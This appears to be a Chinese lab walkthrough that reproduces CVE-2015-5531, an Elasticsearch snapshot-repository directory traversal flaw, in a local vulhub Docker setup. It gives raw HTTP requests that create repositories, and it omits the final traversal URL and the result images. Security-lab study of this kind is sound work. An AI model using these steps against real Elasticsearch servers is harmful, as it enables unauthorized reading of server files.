CVE-2015-5531（目录遍历漏洞）

vulhub漏洞环境搭建

https://blog.csdn.net/qq_36374896/article/details/84102101

启动docker环境

cd vulhub-master/elasticsearch/CVE-2015-5531/

sudo docker-compose up

1.5.1及以前，无需任何配置即可触发该漏洞。之后的新版，配置文件elasticsearch.yml中必须存在path.repo，该配置值为一个目录，且该目录必须可写，等于限制了备份仓库的根位置。不配置该值，默认不启动这个功能。

访问192.168.91.130:9200

新建一个仓库：

PUT /_snapshot/test HTTP/1.1

Host: 192.168.91.130:9200

User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

Content-Length: 110

{

    "type": "fs",

    "settings": {

        "location": "/usr/share/elasticsearch/repo/test"

    }

}

创建一个快照：

PUT /_snapshot/tes2t HTTP/1.1

Host: 192.168.91.130:9200

User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

Content-Length: 128

{

    "type": "fs",

    "settings": {

        "location": "/usr/share/elasticsearch/repo/test/snapshot-backdata"

    }

}

访问地址：

观察返回结果为ASCII编码：

可以用工具进行转换，或者直接使用Chrome-右键-检查-Console:

输入String.fromCharCode(ASCII码)，执行结果如下：

巴特西